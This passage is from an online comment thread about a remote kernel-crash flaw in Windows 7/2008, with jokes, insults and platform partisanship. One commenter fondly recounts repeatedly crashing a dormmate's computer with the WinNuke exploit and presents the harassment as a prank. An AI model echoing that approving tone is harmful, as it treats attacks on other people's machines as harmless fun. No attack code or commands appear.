    Funniest thing is that this dont affects XP while Microsoft touts Windows 7/2008 as the safest os ever. I guess its all marketing and just blatantly nothing done about security other than to blame everything on the user by passing every security decission onto the user with UAC.

    --
    HTTP/1.1 400
  23. Call me an asshole by DaMattster · · Score: 2, Funny

    But I have fond memories of the exploit called Win Nuke to cause the BSOD. Back in the day, I was a freshman in college and a football player on our floor was continuously giving me a hard time. In those days, we telnetted into the DEC Alpha to check our email. Also, in those days our IPs were statically assigned and we had no firewall. Those were quite obviously better, more trusting days of the internet. Anyhow, one day I waited until I knew he was in his room and checking email from his computer. I used finger on UNIX to get his IP address. Then, nuke away! I could here him banging, cussing, and throwing his stuff around. So, whenever I needed a little fun, I simply delivered that little exploit. One day he came back from a drunken binge and went to check his email and I felt it was a perfect time to test his patience level. After carefully delivering the little packet, I heard a smashing sound. My guess is he decided to do a body slam, WWF style, on his PC. As I walked by I casually asked what happened as I saw the computer smashed to smithereens. He told me to, "Get outta here, shit nugget!" It was all I could do to keep from bursting out laughing. Moral: Leave the IT guy alone.

  24. Idiot by omb · · Score: 3, Informative

    Of course it is _VERY_SERIOUS_, un-priviliged user-land electively crashes kernel of every machine it can route TCP packets to, WTF are you stupid or something?

    1. Re:Idiot by omb · · Score: 2, Funny

      Userland should __NEVER__ be able to crash the OS, M$ fanbois are the reason Windows is as bad as it is! If this was Linux a patch would be issued in hours. See the deref 0 with page 0 mmaped exploit.

  25. Anonymous Coward is a Twitter SockPuppet by WillHill · · Score: 2, Informative

    What's wrong Twitter? All of your accounts in karma hell? BTW, your suicide comment you made only shows your stupidity.

    --
    Friends don't help friends install Communist Linsux.
  26. Re:The SMB2 flaw is very easy to fix! by daveime · · Score: 2, Funny

    Why does the file sharing system in Windows rely on the cartoon baddie from Mario games ? Bowser, srsly ?